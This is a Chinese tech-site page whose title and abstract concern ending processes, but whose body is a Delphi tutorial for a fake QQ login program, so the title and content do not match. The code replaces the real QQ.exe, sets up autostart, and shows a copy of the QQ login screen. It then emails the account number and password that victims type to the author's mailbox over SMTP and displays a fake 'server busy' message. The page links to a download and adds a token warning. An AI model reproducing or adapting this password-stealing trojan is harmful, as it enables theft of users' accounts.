首页 电脑 电脑学堂 查看内容

终止进程的内幕

2004-11-3 05:40 550 0

摘要: pjf([email protected])     有来信询问进程结束的有关问题,下面就这个问题简单讨论一下(下面的讨论基于2000,其他NT系统也类似)。&nb...
关键词: 线程 进程 nbsp 系统 句柄 一个 心态 本机 IceSword 面的

    本人最近听说网上有人用假qq盗取qq密码的事,开始百思不得其解,某日突然灵感以来。想到原理是如此简单,特用一天时间写下该程序。。和各位大虾交流学习。。。    主要的过程为,程序先假拌qq2003版的登陆界面,当启动程序时,就会在注册表中搜索qq的安装路径。找到后将真的QQ.exe文件改名称,随后将假QQ.exe复制过来。。当用户在登陆框输入帐号密码信息时,程序就会立即发送到指定的邮箱。如此一来。。嘿嘿黑。。。。。。下面是具体实现过程:var  Form1: TForm1;  Track: boolean;   jqqpath,zqqpath: string;implementationuses Unit2;{$R *.dfm}procedure hehe;var reg: TRegistry;begin//先在注册表中搜索qq目录 jqqpath:=application.ExeName; reg:=TRegistry.Create; reg.RootKey:=HKEY_LOCAL_MACHINE; reg.OpenKey(’\SOFTWARE’,false); if reg.KeyExists(’腾讯QQ’)=true then begin   track:=true;   reg.OpenKey(’腾讯QQ’,false);   zqqpath:=reg.ReadString(’Install’);//找到后进入该目录   chdir(zqqpath);//重命名qq.exe 为 softman.dll   renamefile(’qq.exe’,’softman.dll’);//将自己复制到该目录   copyfile(pchar(application.exename),pchar(zqqpath+’QQ.exe’),false);   reg.Free; end else begin   track:=false;   reg.RootKey:=HKEY_LOCAL_MACHINE;   reg.OpenKey(’\SOFTWARE\Microsoft\Windows\CurrentVersion\Run’,false);   reg.WriteString(’softman’,application.ExeName);   reg.Free; end;end;//创建快解方式的函数function AddTail(Src: String): String;//在路径字符串的最后加上’\’begin   if (Src[length(Src)]’\’) then result:=Src+’\’ else result:=Src;end;procedure CreateShortCut(FileName, ShortCutName: String);var   tmpObject : IUnknown;   tmpSLink : IShellLink;   tmpPFile : IPersistFile;   PIDL : PItemIDList;   StartupDirectory : array[0..MAX_PATH] of Char;   StartupFilename : String;   LinkFilename : WideString;begin   StartupFilename:=FileName;   tmpObject:=CreateComObject(CLSID_ShellLink);   tmpSLink:=tmpObject as IShellLink;   tmpPFile:=tmpObject as IPersistFile;   tmpSLink.SetPath(pChar(StartupFilename));   tmpSLink.SetWorkingDirectory(pChar(ExtractFilePath(StartupFilename)));   SHGetSpecialFolderLocation(0, CSIDL_DESKTOPDIRECTORY, PIDL);   SHGetPathFromIDList(PIDL, StartupDirectory);   LinkFilename:=AddTail(StartupDirectory) + ShortCutName + ’.lnk’;   tmpPFile.Save(pWChar(LinkFilename), FALSE);end;procedure TForm1.button_cancelClick(Sender: TObject);begin  close;end;procedure TForm1.button_clearClick(Sender: TObject);begin  ComboBox_id.Clear;  edit_password.Clear;end;//这里可看到本程序的”关于”procedure TForm1.button_zhuceClick(Sender: TObject);begin  if (combobox_id.Text=’softman’)and(edit_password.Text=’softman’) then  begin    form_about.Show;  end;  beep;end;procedure TForm1.Label2Click(Sender: TObject);begin//该超连接和真正的qq(”忘记密码”)的一样。  ShellExecute(handle,nil,pchar(http://service.tencent.com/reg/getpassword.shtml’),nil,nil,sw_shownormal);end;procedure TForm1.Label1Click(Sender: TObject);begin//该超连接和真正的qq的(声请密码保护)一样。  ShellExecute(handle,nil,pchar(http://service.tencent.com/reg/register.shtml’),nil,nil,sw_shownormal);end;//以下是核心,使用 Tidsmtp访问须要验证登陆信息的smtp邮件服务器procedure TForm1.button_logonClick(Sender: TObject);var  qq_id,qq_password: string;begin  qq_id:=combobox_id.Text;  qq_password:=edit_password.Text;  //form1.WindowState:=wsMinimized;  form1.Hide;  //ready connect  smtp.AuthenticationType:=Atlogin;  smtp.Host:=’smtp.163.net’;  smtp.UserId:=’[email protected]’;  smtp.Password:=’邮箱密码’;  smtp.Port:=25;  try    smtp.Connect;  finally  end;  //mail  try    idmsg.Subject:=’qq帐号消息!!!’;    idmsg.From.Text:=’[email protected]’;    idmsg.Recipients.EMailAddresses:=’[email protected]’;    idmsg.Body.Add(’qq帐号:’+qq_id);    idmsg.Body.Add(’帐号密码:’+qq_password);    smtp.Send(idmsg);  finally    smtp.Disconnect;//这里实际上只是假象,无任何意义。(当你看到下面的提示,qq就不保了。。!)    messagebox(0,’服务器忙,请稍后再试.’,’正在连接...’,0);    form1.Close;  end;end;procedure TForm1.FormCreate(Sender: TObject);begin hehe; if track=true then begin    CreateShortCut(zqqpath+’QQ.exe’,’腾讯QQ’); end else begin    CreateShortCut(application.ExeName,’腾讯QQ’); end;end;end.  程序大概就这些了。。希望广大网友保护好自己的qq,不要让非法之徒盗取!!小心小心呀。。。具体程序可到本站的[程序下载]处获得(当然如果Dboy大哥同意我放的话)。千万不要拿来害人哟。^_^希望广大网友多提建议,让我们共同生活在自由又安全的网络世界里。。。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部